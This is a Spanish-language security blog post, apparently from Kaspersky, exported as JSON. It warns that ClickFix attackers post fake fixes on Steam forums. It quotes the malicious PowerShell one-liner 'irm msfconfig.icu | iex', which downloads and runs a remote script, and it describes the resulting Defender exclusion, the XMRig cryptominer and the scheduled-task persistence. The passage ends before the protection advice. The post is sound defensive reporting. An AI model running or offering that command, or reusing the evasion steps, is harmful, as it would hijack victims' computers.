{"id":32393,"date":"2026-08-26T11:00:53","date_gmt":"2026-08-26T09:00:53","guid":{"rendered":"https:\/\/www.kaspersky.es\/blog\/?p=32393"},"modified":"2026-08-25T17:59:10","modified_gmt":"2026-08-25T15:59:10","slug":"steam-forum-clickfix-attack-irm-iex","status":"publish","type":"post","link":"https:\/\/www.kaspersky.es\/blog\/steam-forum-clickfix-attack-irm-iex\/32393\/","title":{"rendered":"Malos consejos para los jugadores: ClickFix llega a los foros de Steam"},"content":{"rendered":"

Este a\u00f1o ha sido testigo de un verdadero auge de los ataques de ClickFix<\/a>. Tiene tanto \u00e9xito entre los delincuentes que apenas terminamos de escribir sobre una variaci\u00f3n, es hora de cubrir la siguiente.<\/p>\n

Esta vez, los atacantes est\u00e1n apuntando a los jugadores: los periodistas de tecnolog\u00eda detectaron publicaciones que ofrec\u00edan consejos maliciosos<\/a> en los foros de Steam. Aqu\u00ed detallamos c\u00f3mo se ven estas publicaciones, qu\u00e9 malware suelen propagar y c\u00f3mo mantener seguro tu dispositivo.<\/p>\n

ClickFix llega a los foros de Steam<\/h2>\n

Muchos jugadores recurren a sus compa\u00f1eros en los foros de Steam en busca de ayuda y consejos sobre cuestiones como superar una misi\u00f3n complicada, subir de nivel, conseguir el mejor bot\u00edn o solucionar un error. Y es precisamente esta confianza en los consejos de la comunidad lo que los atacantes han decidido aprovechar.<\/p>\n

El ataque comienza cuando los delincuentes responden a la pregunta de alguien sobre fallos del juego, elementos faltantes del inventario u otros problemas t\u00e9cnicos. Haci\u00e9ndose pasar por comentaristas \u00fatiles, sugieren abrir PowerShell como administrador y ejecutar un comando que supuestamente soluciona el problema que tiene el usuario.<\/p>\n

\"Publicaci\u00f3n<\/a>

Disfrazando su publicaci\u00f3n como un consejo para la resoluci\u00f3n de un problema, el actor malicioso sugiere abrir PowerShell como administrador y ejecutar un comando que supuestamente soluciona el problema del usuario. Fuente <\/a><\/p><\/div>\n

Como puedes suponer, ejecutar el comando no soluciona nada, solo abre una nueva caja de Pandora. Esa es la idea detr\u00e1s de ClickFix: usar la ingenier\u00eda social para enga\u00f1ar a las v\u00edctimas a fin de que realicen ellas mismas acciones inseguras mientras les dan a los estafadores lo que necesitan para poner en riesgo el dispositivo. Hemos cubierto otros trucos de ClickFix antes (CAPTCHA falsos, errores falsos del navegador y m\u00e1s), los cuales se basan en lograr que la v\u00edctima ejecute el comando malicioso por su cuenta. Puedes leer m\u00e1s sobre las diferentes variaciones de los ataques de ClickFix<\/a> en nuestra publicaci\u00f3n anterior.<\/p>\n

La astucia de usar ClickFix en los foros de Steam es que el ataque puede afectar no solo al jugador que ha pedido ayuda; muchos otros jugadores que tienen el mismo problema y encuentran la respuesta a trav\u00e9s de una b\u00fasqueda en Google tambi\u00e9n pueden caer en la trampa.<\/p>\n

Una introducci\u00f3n r\u00e1pida: lo que realmente hay detr\u00e1s del comando irm <\/em>| iex<\/em><\/h2>\n

Antes de adentrarnos en qu\u00e9 consiguen los atacantes que los jugadores instalen de esta manera, debemos cubrir algunos antecedentes t\u00e9cnicos. En primer lugar, las publicaciones en los foros de Steam aconsejan a las posibles v\u00edctimas desprevenidas que ejecuten el siguiente comando en PowerShell:
\n irm msfconfig.icu | iex <\/code><\/p>\n

Para alguien que no est\u00e9 \u00edntimamente familiarizado con PowerShell, esta l\u00ednea puede parecer bastante inocua: se parece a la ejecuci\u00f3n de MSConfig, la utilidad de configuraci\u00f3n del sistema integrada de Windows, con algunos par\u00e1metros adicionales.<\/p>\n

Sin embargo, es todo menos inofensivo. Analicemos qu\u00e9 hace realmente cada parte de este comando:<\/p>\n

    \n
  1. irm<\/em><\/strong> es la abreviatura del comando integrado de PowerShell Invoke-RestMethod<\/em>. Se comunica con la direcci\u00f3n web especificada m\u00e1s adelante en la l\u00ednea y recupera datos en respuesta.<\/li>\n
  2. icu<\/em><\/strong> es esa direcci\u00f3n web, no el nombre de alg\u00fan archivo local como podr\u00eda parecer a primera vista. Se trata del servidor de los atacantes y responde a la solicitud de irm<\/em><\/strong> con un script de PowerShell malicioso.<\/li>\n
  3. iex<\/em><\/strong> es otro comando integrado de PowerShell, Invoke-Expression<\/em>. Toma todo lo que irm<\/em><\/strong> recibe de esa direcci\u00f3n web y lo ejecuta como c\u00f3digo de PowerShell.<\/li>\n<\/ol>\n

    Una vez ejecutada, esta l\u00ednea de c\u00f3digo de PowerShell descarga un script del sitio especificado y lo ejecuta de inmediato. Como ha se\u00f1alado<\/a> correctamente un usuario de Reddit, puedes averiguar con seguridad qu\u00e9 c\u00f3digo se descargar\u00eda realmente en tu dispositivo, sin el riesgo de que se ejecute, simplemente si eliminas la segunda parte, iex<\/em><\/strong>. Sin esa parte, el comando solo descargar\u00e1 el contenido del script y lo imprimir\u00e1 en la ventana de PowerShell sin ejecutarlo. Este es el c\u00f3digo completo y no oculto que se te solicita que ejecutes en tu dispositivo. A continuaci\u00f3n, veamos lo que estos \u00fatiles foristas de Steam realmente intentan que los jugadores instalen en sus m\u00e1quinas.<\/p>\n

    Un criptominero, no una herramienta de optimizaci\u00f3n<\/h2>\n

    Los atacantes hicieron su tarea: el script de PowerShell descargado de su servidor hace un trabajo convincente al imitar una utilidad de optimizaci\u00f3n de Windows. Una vez iniciada, le muestra al usuario una serie de notificaciones que afirman borrar archivos temporales, vaciar la cach\u00e9 de DNS, actualizar controladores, verificar el disco en busca de errores, desactivar aplicaciones de inicio innecesarias, analizar el sistema en busca de malware, reparar la imagen de Windows y verificar la integridad de los archivos del sistema.<\/p>\n

    \"Optimizaci\u00f3n<\/a>

    El script muestra un flujo de mensajes sobre varias tareas de optimizaci\u00f3n falsas para que parezca que est\u00e1 haciendo un mantenimiento \u00fatil. Fuente <\/a><\/p><\/div>\n

    La actividad real, mientras tanto, ocurre entre bastidores. Como primer paso, el script verifica si se est\u00e1 ejecutando con privilegios de administrador. Si es as\u00ed, crea una carpeta de trabajo oculta en C:\\Windows\\Background<\/em> y la a\u00f1ade a la lista de exclusi\u00f3n de Microsoft Defender. A partir de ese momento, cualquier archivo que se coloca en esa carpeta dejar\u00e1 de ser analizado por el antivirus integrado de Windows.<\/p>\n

    A continuaci\u00f3n, el script prepara el sistema para la siguiente etapa del ataque y descarga un ejecutable del servidor de los atacantes, guard\u00e1ndolo en la misma carpeta C:\\Windows\\Background<\/em> con un nombre que suena leg\u00edtimo: system.exe<\/em>.<\/p>\n

    El archivo descargado es XMRig<\/em>, una de las herramientas m\u00e1s populares para minar la criptomoneda Monero. XMRig<\/em> en s\u00ed mismo no es malware; es una herramienta de miner\u00eda de c\u00f3digo abierto leg\u00edtima. El problema es que los atacantes lo instalan en los equipos de las v\u00edctimas sin su conocimiento. Una vez que se est\u00e1 ejecutando, la potencia de c\u00e1lculo del dispositivo se secuestra para la miner\u00eda de Monero, y la criptomoneda resultante va directamente a los delincuentes.<\/p>\n

    Esto hace que las plataformas de los jugadores sean objetivos especialmente atractivos: los PC de juegos modernos incluyen CPU y GPU potentes, exactamente el tipo de hardware que es excelente para la criptominer\u00eda.<\/p>\n

    Para asegurarse de que el malware sobreviva a un reinicio, la secuencia de comandos tambi\u00e9n crea una nueva tarea en el Programador de tareas de Windows: XMRig-{nombre del equipo}<\/em>. A partir de ese momento, inicia autom\u00e1ticamente el criptominero cada vez que se inicia el sistema.<\/p>\n

    C\u00f3mo proteger tu dispositivo de los criptomineros y otro tipo de malware<\/h2>\n

    Desafortunadamente, muchos jugadores se muestran reacios a instalar software de seguridad o mantenerlo en ejecuci\u00f3n en sus dispositivos. El principal culpable es el mito persistente de que \u201cun antivirus ralentiza el juego\u201d. Hemos cubierto investigaciones sobre esto en nuestro blog antes y los resultados no han mostrado un impacto significativo en el rendimiento<\/a> por ejecutar un antivirus durante los juegos.<\/p>\n

    Sin embargo, no se puede decir lo mismo de los criptomineros: definitivamente perjudican el rendimiento y desgastan tu hardware m\u00e1s r\u00e1pido. Entonces, \u00bfqu\u00e9 puedes hacer para mantener tus cuentas y tu PC para juegos fuera de peligro?<\/p>\n